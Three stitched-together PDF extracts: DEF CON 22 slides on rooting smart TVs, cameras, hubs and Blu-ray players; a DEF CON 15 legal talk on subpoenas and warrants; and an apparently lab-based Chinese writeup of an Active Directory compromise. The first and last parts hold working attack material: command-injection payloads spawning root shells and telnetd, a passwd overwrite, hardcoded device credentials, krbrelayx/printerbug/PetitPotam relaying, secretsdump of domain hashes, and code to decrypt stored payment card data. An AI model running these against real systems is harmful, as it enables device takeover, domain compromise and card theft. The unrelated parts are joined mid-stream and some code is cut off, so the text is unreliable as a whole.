 UART Device' 3' Click'to'add'text' Click'to'add'text' 115200'8n1'T'Console'Login' Greenwave Reality Smart Bulbs • Device'ships'with'an'open'UTBoot'installaHon.' • Root'via'changing'UTBoot'command'line.' –  ConnecHng'to'UART'and'accessing'bootloader' shell.' –  Adding'init=/bin/sh'into'kernel'cmdline' • Now'we'have'a'root'shell'over'our'UART.'' • To'maintain'access,'we'cracked'the'root' password:'"thinkgreen”.' Device' 3' File Transporter ARM' Linux'2.6.35.12' BuildrootTbased'userland' Device' 4' ' Advertised as "Your own private cloud” Essentially a cloud connected NAS Started on Kickstarter, bought by Drobo File Transporter – UART Device' 4' ' 38400'8n1'T'Console'Login' File Transporter – Open Bootloader •  We'can'access'UTBoot'over'the'UART,'allowing'us'to'hijack'the' init'process.' •  By'using'init=/bin/sh,'we'now'have'root'access'and'can' change'the'root'password'to'allow'login.' Device' 4' ' FROM"THE"BOOTLOADER"SHELL" setenv'oldargs'${addargs}' setenv'rootargs'init=/bin/sh'mem=256M' console=XyS0,38400'rootwait'user_debug=31' setenv'addargs'${rootargs}' saveenv' run'bootdisk' ' ' FROM"THE"ROOT"SHELL'' mount'/proc'' passwd'root' ' Vizio CoStar LT (ISV-B11) Device' 5' ' • Media'Player'w/'HDMI' Passthrough' • Successor'to'the' CoStar'(Google'TV)''' • Not'a'GoogleTV!' Vizio CoStar LT (ISV-B11) Device' 5' ' Vizio CoStar LT (ISV-B11)
 Hijacking Kernel Initialization •  On boot, looks for a FAT32 drive with either "fs.sys” or "safe-kernel.img1”. •  “fs.sys” is a U-Boot script image which contains U-boot commands executed on boot. •  Modifying kernel command line lets us hijack kernel init and get root. •  Can use a combination of the two files to boot a new kernel entirely. Device' 5' ' Staples Connect 400mhz ARM SOC WiFi, Zigbee Cloud-based Device' 6' •  Home Automation Hub •  Rebadged Zonoff •  Linksys Branded •  Works with many types of HA devices Staples Connect – UART Device' 6' Staples Connect – U-Boot Device' 6' •  Short'out'NAND'pins'29/30'to'ground'a\er'poweringTon'–' corrupts'UTBoot'environment' •  Prompt'Hmeout'is'set'to'default'and'allows'user'input!' •  Run'the'commands'below,'boots'to'a'root'console.' setenv+bootargs+"console=ttyS0,115200+init=/bin/sh+[…]”+ •  Persistence:'modify'and'saveenv'in'uTboot'and/or'edit'/etc/ rc.local,'add:' #+dropbear+Ad+222+ •  SSH'password'is'root:oemroot' eMMC" Embedded'MulHTMedia'Card' • Basically'an'SD'card'on'a'chip.' • Handles'error'correcHon'on' the'hardware,'so'no'fiddly' math'needed.' • All'done'with'cheap' mulHmedia'readers!' • Can'usually'get'pin'breakouts' from'nearby'resistors' Roo_ng"w/"SDCard"Reader/Writer" • 'How'do'you'find'the' pinout?' –  Board'Design'(traces'and' labels)' –  IntuiHon' –  Logic'Analyzer' –  Pull'the'chip'and'trace!'' Amazon"FireTV" FireOS'3.0'(modified' Android'4.2.2)' Device' 7' Quad'Core'1.7GHz''' Snapdragon'600' 8GB'EMMC'Flash' Amazon"FireTV" Device' 7' EMMC'Pinout' UART'Pinout'(1.8V)' Hisense Android TV (Google TV)" A'newer'SOC'compared'to'last'year.' At'DEF'CON'21'we'demonstrated'how'to' bypass'secure'boot'on'the'enHre'SOC'family' Device' 8' Marvell'MV88DE3108' Quad'Core'CPU' Android'4.2.2' ' Hisense Android TV (Google TV)" Device' 8' Hisense Android TV (Google TV)" • Mount the "factory_setting" partition. –  /dev/mmcblk0p3 –  Persists between boots. •  #+chmod+4755+su –  Could also use SuperSu or similar. Device' 8' Pro Tip - Don't say:
 “[X] has never been hacked” •  US'Postal'Service'is'at' the'forefront'of' refrigerator'security.' •  Took'this'as'a'challenge.' •  Got'parts,'as'it's'a' $3000'refrigerator.' “A'refrigerator'has'never'been' hacked.”'–'USPS' hXps://youtu.be/HiWjfWb3bNc' ' LG Smart Refrigerator (LFX31995ST) Device' 9' Android'2.3' ' Brains'of'the'fridge' Controls'ice,' compressor,'water'' ' WiFi,'USB,'SD'Card' LG Smart Refrigerator (LFX31995ST) •  UART – Boots to root console! •  EMMC – Success. Mount system, insert stock Android launcher and superuser binary. •  ro.secure=0, device already has su. Device' 9' Command Injection • User'input'can’t'be'trusted.' • Don’t'use'shell'commands.' • Never'trust'user'input.' • At'least'escape'your'shell'commands.' • system()'counts'too.' • “ls'%s”'with'the'parameter'“;reboot;”'gives' “ls';reboot;”,'causing'a'reboot.' Vizio Smart TVs (VF552XVT) One'of'the'last'full'array'backlit'LED'TVs.' Smartness'is'thin,'the'TV'isn't.' Device' 10' BCM97XXX-based Yahoo Powered Smart TV Platform is still widely available Vizio Smart TVs (VF552XVT) CI via WiFi password - spawns a shell over a USB UART. •  Enter this: ;mknod+/tmp/gtvhacker+c+188+0;+ •  Then this: ;bash+2>/tmp/gtvhacker>/tmp/ gtvhacker</tmp/gtvhacker;+ bash;+ Device' 10' Sony BDP-S5100 (Blu-Ray Player) Runs'Linux' WiFi,'Ne{lix,'VUDU,'etc.' Device' 11' Blu-Ray Player MTK8500 Chipset ' LG BP530 (Blu-Ray Player) Runs'Linux' WiFi,'Ne{lix,'VUDU,'etc.' Device' 12' Blu-Ray Player MTK8500 Chipset ' LG BP530 / Sony BDP-S5100
 (Blu-Ray Players) •  Bug in the MTK supplied SDK, many players affected! •  Put an empty file named "vudu.txt" in a folder named "vudu" on a flash drive. •  Also create a “vudu.sh” containing: mount+At+overlayfs+Ao+overlayfs+/etc/passwd+ echo+"root::0:0:root:/root:/bin/sh"+>+/etc/passwd+ /mnt/rootfs_normal/usr/sbin/telnetd+ •  Once VUDU is run, it’ll execute the shell script as root, and you can connect via Telnet. Device' 11+12' Panasonic DMP-BDT230 (Blu-Ray) Runs'Linux' WiFi,'Ne{lix,'VUDU,'etc'' Device' 13' Blu-Ray Player MTK8500 Chipset Panasonic DMP-BDT230 (Blu-Ray) Device' 13' ' 115200'8n1T'Console'Output' Panasonic DMP-BDT230 •  Network folder name isn’t sanitized prior to use. •  Injected commands run as root. Device' 13' Motorola RAZR LTE Baseband •  Baseband'is'isolated' from'main'CPU'–'totally' separate'piece'of' hardware.' •  Controls'all'cell'network' communicaHons.' •  Also'runs'an'ARM' processor'with'Linux.' Device' 14' Motorola RAZR LTE Baseband • Baseband'listens'on'an'internal'network,' limited'shell'accessible'on'port'3023,' diagnosHc'script'on'3002.' • As'seen'in'said'script:'AWK'injecHon!' –  busybox+awk+'{print+substr("'"$ {outFilePath}"'",0,1)}’' • Lets'us'get'a'root'shell'on'the'baseband.' –  x",0,1);system("…");("' Device' 14' PogoPlug Mobile Marvell'Feroceon' ARM'SOC' Linux'2.6.31.8' Device' 15' Online backup / cloud storage, < $10 Plug in USB drive / SD card, auto-upload to the cloud PogoPlug – UART Device' 15' 115200'8n1'T'Open'Bootloader'&'Root'Shell' PogoPlug Mobile
 Command Execution Device' 15' /sqdiag/HBPlug' PogoPlug Mobile
 Command Execution Device' 15' /sqdiag/HBPlug?acHon=command' curl'Tk'"hXps://root:ceadmin@IP_ADDR/sqdiag/HBPlug? acHon=command&command=reboot"' Netgear Push2TV (PTV3000) Screen'Sharing'Device' • Miracast' • Intel'WiDi' ' Device' 16' PureVu'CNW6611L' Secure'Media'SOC' ' Netgear Push2TV – UART Device' 16' Netgear Push2TV (PTV3000) •  Via UART, press space at boot to interrupt uboot – run your own commands.' •  UART again, root console is active for 2-3 seconds after booting. •  Command injection in web interface via box nickname – command will run as root. •  SPI flash chip holds uboot commands, can be reflashed to run custom ones. Device' 16' Ooma Telo ARM'processor' Linux'2.6.33.5' Device' 17' •  VOIP Router •  Running OpenWRT based distro With Freeswitch •  Assists in connecting to Ooma Network for VOIP Calls Ooma Telo – UART Device' 17' 115200'8n1'T'Console'Login' Ooma Telo – CI in Web Portal Device' 17' • SSH'already'running!' • Need'to'add'SSH'port'to'iptables'so'we'can'access' it.' • Command'injecHon'in'the'Ooma'Telo'Portal.' • No'saniHzaHon'done'on'Server'IP'before'running' a'command'on'the'backend.' • Root'password'is'"!ooma123”,'password'crackers' are'fun.' • By'default'page'is'only'accessible'through'LAN.' Ooma Telo – CI in Web Portal Device' 17' Enable'SSH'on'LAN:' x.com'$(iptables'Tt'filter'TA'LAN_SSH'Tj'ACCEPT)'' Netgear NTV200-100NAS WiFi' Secure'Broadcom'SOC' Encrypted'updates'' Device' 18' ' Media Streaming Device Adobe Flash-based $10-30 (cheap!) Netgear NTV200-100NAS Device' 18' ' Netgear NTV200-100NAS •  Updates are signed and encrypted •  App installation isn’t, and is done over unencrypted HTTP. •  Man-in-the-middle the app installation! –  Grab a copy of an app –  Add a malicious symlink –  Repack and host app locally –  Run the app –  Modify the app again, this time adding a shell script inside the symlink to call telnet –  Run the app again, reboot, and now you have persistent root! Device' 18' ' ASUS Cube (Google TV) We'released'CubeRoot'for'the'Cube'and' addiHonal'exploits'for'the'the'Marvell'SOC' (secure'boot)'at'DEF'CON'21.' ' Device' 19' Marvell 88de3100 SOC Dual Core 1.2GHZ ARM Google TV! ASUS Cube (Google TV) •  Built-in Media app can mount SMB shares (Windows file sharing) with no restrictions. •  Root procedure: –  Create a SMB share with a su binary. –  Use the media app to connect to the SMB share. –  adb into the Cube, run the su binary - you are root! –  From here, remount system, install SuperSu and win. Device' 19' Summer Baby Zoom WiFi Device' 20' ' WiFi baby monitor Custom RF for remote Marketed as “Secure”' Summer Baby Zoom WiFi Device' 20' Summer Baby Zoom WiFi
 Hardcoded Username & Password Device' 20' ' Found'this'interesHng'base64'encoded'string'and'funcHon' calls'in'"snapcam"'binary' MsC@dm1n!:Auth3nt1c@T3' Summer Baby Zoom WiFi
 Hardcoded Username & Password •  Calling'"nvram'show"'from' the'command'line'produces' the'following'list'of'users' •  2'of'the'users'have' passwords'that'change' between'each'cam' •  Also'note'the'pass'seen' hardcoded'in'the'snapcam' binary.' Device' 20' ' Users'and'passwords'on'camera'from' "nvram'show"' Summer Baby Zoom WiFi
 Command Execution Device' 20' ' /bin/mini_hXpd'for'"SystemGT.cgi”' •  SystemGT.cgi' accessible'with' admin'credenHals' •  "SystemGT"'POST' var'gets'directly' executed'with' system()'as'root' curl+Au+'MsC@dm1n!:Auth3nt1c@T3'+"http://IP/cgiA bin/systemGT.cgi"+Ad+"systemGT=telnetd"+ This is DEF CON 22, right? Samsung SmartCam TI'DaVinci'ARM'SOC' Linux'2.6.18' Device' 21' •  Network camera w/ mic and speaker. •  Mobile phone app for remote access. •  Web interface for local access. Samsung SmartCam – UART Device' 21' 115200'8n1'T'Console'Logging'Only' Samsung SmartCam – PreAuth Device' 21' ' •  CGI'script'normally'does'auth'check,'but'not'on'new'user' •  Can'reset'admin'password'without'knowing'the'user’s'password' •  Only'accessible'over'the'LAN' Samsung SmartCam – CI Device' 21' ' • WEP'key'is'not'saniHzed'for'shell'commands.' • Set'up'a'WEP'key'with'an'injected'command,' then'reTaXach'a'network'cable'to'trigger'the' bug.' • Can'also'be'exploited'without'any'physical' access'if'the'device'is'connected'over'WiFi.' • Web'interface'runs'as'root!' Samsung SmartCam – CI Device' 21' ' Enable'root'telnetd:'$(busybox'telnetd'Tl/bin/sh)' Wink Hub •  BlueTooth,'WiFi,'Zwave' and'Zigbee' •  TI'CC1101'(RF'SDR)' •  Great'cheap'“RF'Toolkit"' Device' 22' •  Smart home "gateway" •  Allows integration with multiple smart home devices. •  Mobile application to control ALL THE THINGS Wink Hub Device' 22' Wink Hub – Command Injection Device' 22' •  The'"set_dev_value.php"'script'doesn’t'shellTescape'the' POST'fields'"nodeId"'and'"aXrId”' •  Used'in'a'command'with'“sudo”' Demo" • 4'minutes,'22'devices,'1'special'guest' • Welcome'DUAL'CORE!' • “All'The'Things”'' • Dual'Core'CDs'available'in'the'vendor'area' Ques_ons" We’ll'be'doing'a'Q&A'a\er'the'talk'at'the' Chillout'Lounge' Thank"You" Slide resources can be found at: http://DC22.GTVHacker.com/ WIKI: http://www.GTVHacker.com FORUM: http://forum.GTVHacker.com BLOG: http://blog.GTVHacker.com IRC: irc.freenode.net #GTVHacker Follow us on Twitter: @GTVHacker Shoutout'to:' DEF'CON' Dual'Core' ddggÇf3' rad1x' minga' 0x00string' ' And'all'of'you!'
pdf
Protecting your IT infrastructure from Legal attacks: Subpoenas, Warrants and Transitive Attacks Alexander Muentz, Esq. Defcon 15 Disclaimer • I am a lawyer, but not your lawyer • The topics presented reflect my personal views and are not necessarily those of ONSITE3 • This talk is not legal advice, but for educational and entertainment purposes • This field of law is in flux. What is good law today may not be next month • Local laws vary. Overview Using the preparation/attack/response model Types of attacks What can I do to protect myself, my organization and my users? Legal methods as IT infrastructure attacks • Similar aims • Shutdown – Injunction – DOS attack • Information – Database intrusion – Subpoena • Similar precautions • Good offsite backups – Destructive search warrant execution – Natural disaster • Strong searching & archiving solution – Good for responding to discovery order – Useful for preventing redundant storage Types of Legal attacks • Search Warrants • Subpoenas • Discovery • Wiretaps • Transitive trust attacks Search Warrants • “The rights of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized” Fourth Amendment, U.S. Constitution Search Warrants, continued • Warrant requires: – Neutral Judicial Officer, who determines that – Probable cause that a – Crime occurred, and that Persons named and/or Evidence is within place to be searched – Signed, written affidavit by LEO attesting to probable cause above – Particularity of items to be seized and area to be searched. • Warrant allows- – The items named in the warrant – Seizure of contraband, evidence, fruits and instrumentalities of crime found during search – For computers ‘containing’ the above, the seizure of the data or the computer (LEO’s discretion)‏ Search Warrant as attack • Noisy and destructive – Minimal warning No-knock vs knock warrants – NO immediate defenses You can't make it better You can make it worse – “Unintentional” collateral damage to obtain additional information or to expand scope of search Preparation for the Search Warrant • IT defences – Multiple site data and systems backup Preferably in multiple jurisdictions Automatic failover useful as well. • Legal defences – Minimizing damage during the warrant execution Helpful vs Passive DO NOT INTERFERE Shut the fuck up • Cleaning up afterwards Legal-Excluding evidence found in an invalid warrant (Leon rule)‏ IT- Cut over to alternate site or restore from backup to new boxen Warrantless searches • Generally require probable cause – Exceptions Search incident to lawful arrest Automobile searches Regulatory searches (border crossing, airports)‏ ♦ U.S. v Arnold (need reasonable suspicion to search contents of laptop at border crossing)‏ Exigent circumstances ♦ U.S. v Heckencamp (IT staffer can intrude into an attacker’s PC to determine source of attack without violating 4th Amendment, and presumably 18 U.S.C. 1030)‏ Warrantless searches, continued • More exceptions – Third party searches U.S. v Steiger (Turkish 'hacker' sends proof of child porn on Steiger's computer to local law enforcement)‏ – Permissive Searches U.S. v Andrus (Dad grants LEO access to son's PC, even though dad does not use or have password to computer; enough for LEO to assume Dad had authority to grant access Wiretaps • Requires warrant under 18 USC §2510 et seq – Must specify target and not capture innocent traffic • CALEA (Communications Assistance for Law Enforcement Act)‏ – Provider must enable the government to intercept targeted communications (and filter out innocent ones)‏ – Concurrent with transmission – Requires valid warrant – Intercepted transmissions must be in format 'transportable' to government Government may not specify provider equipment or specifications Issue with 'transportable'- is this merely compatible with remote monitoring or does it imply the ability to perform CALEA wiretaps w/o provider's knowledge? Wiretap Attack Profile • Stealthy and incriminating – Tapped upstream may not know – Target will not know until after charged with crime. • Defenses – IT Strong encryption with limited distribution of private key ♦ If ISP/Provider offers encryption, can be forced to divulge under CALEA §103(b)(3)‏ ♦ Grand Jury can subpoena keys from holders, but can't swear them to secrecy ♦ National Security Letters limited to transactional information but do have gag orders 18 U.S.C. § 2709(c)‏ – Legal Attack warrant when revealed ♦ If no PC, or other flaws, information can be suppressed ♦ If innocent communications captured, possible civil remedies Subpoenas • Court backed order for information – Issued by Attorneys, Grand Juries, Regulatory agencies • Not a court order – Court order is order by a judge – Subpoena is order by an officer of court, and can be reviewed by a judge • Two basic types – Subpoena Duces Tecum (SDT)‏ Bring us information or stuff, or let us look at stuff – Subpoena Ad Testificandum (SAT)‏ Come and testify under oath Subpoenas, continued • Not much protection – No right against self-incrimination in civil or regulatory issues – Right against self incrimination must be expressly invoked for criminal ones • Limits on use – No undue burden or expense on recipient Expense relative to size of controversy Burden relative to alternate methods of getting same information – No privileged material – Not for harassment or improper purpose • Enforcement – Civil contempt (fines or jail time until performance)‏ Subpoena Attack Profile • Intrusive, mysterious and dangerous – Reasonable time to respond – Can force you to admit incriminating facts – Mystery of actual purpose behind subpoena Am I a target or merely a witness Do I fight them or give them what they want? Subpoena Defenses • IT defenses – Mitigation Easily searched indexes of all electronic documents in enterprise Clear and followed data retention policy – Stonewalling Compartmentalization Black Holes • Legal Defenses – Motion to Quash Burden, Privilege, Trade Secret – Protective order Limit subpoena Subpoena Miscellaneous • Encryption keys and passwords might not be protected from disclosure • But content of messages held by 'providers' may be protected – With valid warrant by law enforcement (18 U.S.C. § 2703(c)(1)(A)‏ – With valid court order for customer records Discovery • Requires filed suit – Works like subpoena against parties to suit – Automatic disclosure required: FRCP 26(a)(1)(B)‏ Must disclose locations and types of Electronically Stored Information (ESI)‏ ♦ Can protect from actual delivery if undue burden or cost (26(b)(2)(B)‏ Can supplement with additional orders against parties Must be in format used by your organization (not Klingon)‏ – Can also subpoena third parties for responsive information – Destruction of evidence once suit likely has bad consequences Sanctions to counsel Adverse inference instructions Dismissal of claims Discovery Attack Profile • Slow, expensive bleeding – E-discovery can get expensive and time consuming This used to be the 'Third Rail' of litigation Would be used to unnecessarily increase lawsuit costs Old rules patchwork and unclear – December 2006 amendments Rules clarified somewhat Mandatory disclosure Still expensive, and chance for really expensive errors ♦ Duty to preserve may also be a duty to collect (Torrentspy)‏ Discovery defenses • IT Defenses – Ability to quickly, efficiently and completely Locate & retrieve responsive information Determine cost of burdensome recoveries Determine privilege Archival/indexing solutions Preserve responsive information – Document retention and destruction policies Enforced &Rational No loopholes Discovery defenses • Legal Defenses – Opposing discovery order Showing costs and burden believably ♦ Colombia v Bunnell-(Torrentspy)- burden not shown Drinking from the fire hose ♦ Burying 'smoking gun' in haystack of responsive but useless information Discovery defenses, continued • IT & Legal team effort – Pre- discovery IT can quantify effort to get 'inaccessible' information Legal can use this information to restrict or eliminate duty to turn over – During discovery IT can assist with specifying incoming and outgoing discovery Legal can force compatibility with other side – Counter-attack A savvy IT person can help at the Rule 26 conference ♦ Determine if other side is fudging • When IT & Legal don't work well together – IT misunderstands Legal's needs Risk of sanctions – Legal misunderstands IT's needs Overly broad litigation holds 'Death Spiral' Transitive trust attacks • Attacker probes for weakest link in chain of trust • If B & C share datum i – Control of i depends on the weaker of B&C from attacker A's point of view e.g. B has weaker security but A has inside person at C If B is less willing than C to fight to keep i secret • Think of organizational data as a network – Willingness to defend data asset is security – Different willingness to defend same secret based upon requester – Rebuffed by B? go to C and ask Examples of Transitive trust attacks • New Jersey v Ceres (2005)‏ – 'Perverted Justice' method acquires screen name and incriminatory chat – Subpoena to AOL maps screen name to IP address, login times, billing name and address AOL more willing to give subscriber info to LEO than civil parties • MySpace, Fyodor and GoDaddy – MySpace wants to get material off the net two links in trust chain ♦ Fyodor (interested in protecting material)‏ ♦ Domain Name Registrar (interested in avoiding litigation)‏ MySpace goes after weak link, and wins. Defending from transitive attacks • Know what information is shared with other organizations – Get agreements to alert you quickly- before they must deliver information – Intervene quickly and aggressively as party in interest • Know what information is important and what isn't – Can you keep sensitive information in-house? • Defense agreements – Alert & defense (agree to pay for defense up to fixed amount)‏ – Mutual defense (pay to defend other's data in your hands in exchange for same)‏ Questions? lex@successfulseasons.com Thanks to: Defcon organizers Administrator's Office for the Third Circuit Court of Appeals
pdf
1 10.10.6.188后台模版注⼊getshell-z3r0ne 10.10.6.188 群⾥的师⽗z3r0ne师傅 跑出的admin/admin 后台模版getshell 这⾥抓取密码的时候其实有很多同学会喜欢⽤mimi直接抓hashdump和logpasswords 却忽略了 cached domain logon ⽐如这⾥就抓到了历史域管⽤户登陆虽然密码不对 抓到域⽤户shirts\ehahn的密码 尝试查看当前域⽤户的sid和当前⽤户登陆的机器 以及获取域机器和 ms-ds-creatorsid⽤来寻找ehahn能完全控制的主机,结果没得这⾥也可以⽤ adfind收集当前域⽤户信息和域全部电脑信息 1 beacon> shell adfind.exe -h 10.10.4.169 -sc u:ehahn 2 [*] Tasked beacon to run: adfind.exe -h 10.10.4.169 -sc u:ehahn 3 [+] host called home, sent: 69 bytes 4 [+] received output: 1 Get-DomainObjectAcl -Identity [computerName] | ?{$_.SecurityIdentifier -match "SI 5   6 AdFind V01.51.00cpp Joe Richards (support@joeware.net) October 2017 7   8 Using server: plaid.shirts.corp:389 9 Directory: Windows Server 2012 R2 10   11 dn:CN=Efrain Hahn,CN=Users,DC=shirts,DC=corp 12 >objectClass: top 13 >objectClass: person 14 >objectClass: organizationalPerson 15 >objectClass: user 16 >cn: Efrain Hahn 17 >sn: Hahn 18 >givenName: Efrain 19 >distinguishedName: CN=Efrain Hahn,CN=Users,DC=shirts,DC=corp 20 >instanceType: 4 21 >whenCreated: 20180415164237.0Z 22 >whenChanged: 20211016063847.0Z 23 >displayName: Efrain Hahn 24 >uSNCreated: 30647 25 >memberOf: CN=RDP_Users,CN=Users,DC=shirts,DC=corp 26 >memberOf: CN=App2_Admin,CN=Users,DC=shirts,DC=corp 27 >memberOf: CN=Local_Admin_WRK3,CN=Users,DC=shirts,DC=corp 28 >memberOf: CN=Local_Admin_SRV4,CN=Users,DC=shirts,DC=corp 29 >memberOf: CN=Local_Admin_SRV3,CN=Users,DC=shirts,DC=corp 30 >memberOf: CN=Local_Admin_SRV1,CN=Users,DC=shirts,DC=corp 31 >memberOf: CN=Database Admins,CN=Users,DC=shirts,DC=corp 32 >memberOf: CN=Web Server Admins,CN=Users,DC=shirts,DC=corp 33 >uSNChanged: 151650 34 >name: Efrain Hahn 35 >objectGUID: {2D45BF0E-7683-4AD5-9140-4C005000C944} 36 >userAccountControl: 66048 37 >badPwdCount: 0 38 >codePage: 0 39 >countryCode: 0 40 >homeDirectory: \\NYCFP16C\home$\ehahn 41 >homeDrive: H 42 >badPasswordTime: 132788427871868219 43 >lastLogoff: 0 44 >lastLogon: 132788444996540016 45 >pwdLastSet: 131682841575168133 46 >primaryGroupID: 513 47 >objectSid: S-1-5-21-2464788076-308733691-3533656182-1428 48 >accountExpires: 9223372036854775807 49 >logonCount: 65 50 >sAMAccountName: ehahn 51 >sAMAccountType: 805306368 52 >objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=shirts,DC=corp 53 >dSCorePropagationData: 16010101000000.0Z 54 >lastLogonTimestamp: 132788399273665932 55 >mail: EHahn@shirts.corp 56   57 AdFind -f "objectcategory=computer">>computer.exe 重点关注member of和homeDirectory 同时通过抓过⽹络连接发现此机器连接着10.10.4.105的共享,通过枚举105的本地管理员发现有ehahn 然后通过枚举所有计算机的本地管理员组 看看ehahn能不能操作⼀波 通过for循环批量获取域内机器的本地管理员组脚本如下其中servername是域内机器名 或者直接使⽤Invoke-EnumerateLocalAdmin也是可以的 其中ehahn是本地管理员的机器有如下 1 @echo off 2   3 set targe='' 4 setlocal enabledelayedexpansion 5 for /f %%i in (servername.txt) do ( 6 set target=%%i 7 powershell.exe "import-module c:\programdata\ps.ps1;Get-NetLocalGroupMember -Comp 8 ) 9   10 pause PHLFD12C和PHLWQ40A、PHLDQ36C ehahn都是它们的本地管理组(虽然通过这些机器获取了domain admins⾥某个⽤户的hash但是我们需 要尝试新的思路去获取dc权限) ⼆利⽤⾮约束委派拿下plaid 接下来我们⽤ps查找域内⾮约束委派机器  Get-NetComputer -Unconstrained -Domain shirts.corp  adfind查询⾮约束委派的主机: AdFind.exe -b "DC=shirts,DC=corp" -f "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName ⾮约束委派的⽤户: AdFind.exe -b "DC=shirts,DC=corp" -f "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName 尝试利⽤打印机bug 和⾮约束委派拿下dc 由于STRIPED在shirts.corp⾥⾯是⾮约束委派的机器,我们通过前期机器上⾯收集的密码是拿下了 STRIPED这台机器的 这⾥有两个⽅案可以⼀是通过⾮约束委派机器账户⼿动添加SPN,这⾥我们通过https://twitter.com/_dirkjan的 ⼯具 ⽤于server通过kerberos验证后获取到的在aq_rep过程中获取到的tgt来访问atter的smb服务 从⽽我们通过监听 atter抓到此tgt并且导出 命令如下 现在SPN已经指向了atter,但是dns并不能解析atter.shirts.corp事实证明, Validated-MS-DS-Additional-DNS-Host-Name实际上不需要经过验证的写⼊权限即可更新该 msDS-AdditionalDnsHostName属性。 1 python3 addspn.py -u shirts.corp\\STRIPED\$ -p aad3b435b51404eeaad3b435b51404ee:a 2 [-] Connecting to host... 3 [-] Binding to host 4 [+] Bind OK 5 [+] Found modification target 6 [+] SPN Modified successfully 1 python3 dnstool.py -u shirts.corp\\STRIPED\$ -p aad3b435b51404eeaad3b435b51404ee: 2 [-] Connecting to host... 我们krbrelayx以导出模式启动,并且使域控通过打印机错误对我们进⾏身份验证 使⽤pringtbug.py触发成功获取plaid$票据 其实这⾥由于⼦⽗域双向信任你⽤⼦域或者⽗域的账户触 发都⾏ 最后导⼊票据成功导出域hash 1 export KRB5CCNAME=plaid\$@shirts.corp_krbtgt@shirts.corp.ccache 2 python3 secretsdump.py -k pliad.shirts.corp -just-dc ⾄此成功拿下dc,当然也可以直接在⾮约束委派机器上运⾏rubreus.exe 配合mimi导出票据也⾏ 这⾥也可以⽤daiker师傅的PetitPotam触发 原⽂参考https://xz.aliyun.com/t/10063#toc-7 [ ] g 3 [-] Binding to host 4 [+] Bind OK 5 [-] Adding new record 6 [+] LDAP operation completed successfully 1 python3 krbrelayx.py -aesKey 2f5e6f4196c62a75aa6c77b5563fb896a2f02eaaa0d2cf06fc32 1 python3 printerbug.py shirts.corp/ehahn@plaid.shirts.corp STRIPED.shirts.corp 2 Password: 3 [*] Attempting to trigger authentication via rprn RPC at WIN-1EVBCK47T4G.7dap.clu 4 [*] Bind OK 5 [*] Got handle 6 DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 7 [*] Triggered RPC backconnect, this may or may not have worked 1 root@kali:~/pititPotam# python3 PetitPotam.py -u ehahn -p q9GxAk%Y3\" -d shirts.c 2   3 4 ___ _ _ _ ___ _ 5 | _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ 6 | _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | 7 _|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| 8 _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|""""" 然后就没搞了 后续: 然后今天ln师傅说靶标是数据库看了⼀下昨天收集的⽗域的spn确实有⼀台db 1 $search = New-Object DirectoryServices.DirectorySearcher([ADSI]"") 2 $search.filter = "(servicePrincipalName=*)" 3 $results = $search.Findall() 4 foreach($result in $results) { 5 $userEntry = $result.GetDirectoryEntry() 6 Write-host "Object : " $userEntry.name "(" $userEntry.distinguishedName ")" 7 Write-host "List SPN :" 8 foreach($SPN in $userEntry.servicePrincipalName) 9 { 10 Write-Host $SPN 11 } 12 Write-host "" 13 } 发现NYCPP05B是⼀台db,不知道是不是靶标 9 "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0- 10 11 PoC to elicit machine account authentication via some MS-EFSRPC fun 12 by topotam (@topotam77) 13 14 Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN 15   16   17   18 [-] Connecting to ncacn_np:10.10.4.169[\PIPE\lsarpc] 19 [+] Connected! 20 [+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e 21 [+] Successfully bound! 22 [-] Sending EfsRpcOpenFileRaw! 23 [+] Got expected ERROR_BAD_NETPATH exception!! 24 [+] Attack worked! 25   通过抓取NYCPP05B⽤机器认证(⾛web代理)登陆mssql后发现pci数据 通过数据库对表名称来对web源码分析 由于是mvc mc都在dll⾥⾯所以先看看v 很快定位到对应到views \Administration\Views\Order 通过cshtml发现调⽤对Order 处理的时候调⽤的是.net的这些类 namespace SmartStore.Services.Orders namesapce SmartStore.Data.Mapping.Orders namespace SmartStore.Admin.Models.Orders 通过反编译查看源码不难获取更改card*数据时候加密算法如下 进⼀步跟进获取加密算法 最后导⼊dll实现解密算法如下 1 using System; 2 using System.Collections.Generic; 3 using System.Linq; 4 using System; 5 using System.IO; 6 using System.Security.Cryptography; 7 using System.Text; 8 using System.Text; 9 using SmartStore.Services.Security; 10 using SmartStore.Core.Domain.Security; 11 using System.Threading.Tasks; 12 using System.Reflection; 13   14 namespace Decode 15 { 16 public class Class1 17 { 18 static void Main(string[] args) 19 { 20 SecuritySettings securitySettings = new SecuritySettings() 21 { 22 EncryptionKey = "" 如下加解密成功 当然你也可以通过扣源码对⽅法对加密进⾏解密如下 yp y 23 }; 24 EncryptionService encryptionService = new EncryptionService(se 25   26 string texts = "eloXXoHmbAPMWD5SPCwT9A=="; 27 Console.WriteLine("encode :"+encryptionService.EncryptText("Vi 28 Console.WriteLine("decode : "+encryptionService.DecryptText(te 29   30   31 } 32 } 33 } 1 using System; 2 using System.IO; 3 using System.Security.Cryptography; 4 using System.Text; 5   6 namespace Crpyt 7 { 8 class Program g 9 { 10 static void Main(string[] args) 11 { 12 if (args.Length == 3 && args[0].ToLower().Equals("decrypt")) 13 { 14 string encryptionPrivateKey = args[1]; 15   16 string cipherText = args[2]; 17   18 var tDESalg = new TripleDESCryptoServiceProvider(); 19 tDESalg.Key = new ASCIIEncoding().GetBytes(encryptionPrivateKey.S 20 tDESalg.IV = new ASCIIEncoding().GetBytes(encryptionPrivateKey.Su 21   22 byte[] buffer = Convert.FromBase64String(cipherText); 23 string plaintext = DecryptTextFromMemory(buffer, tDESalg.Key, tDE 24   25 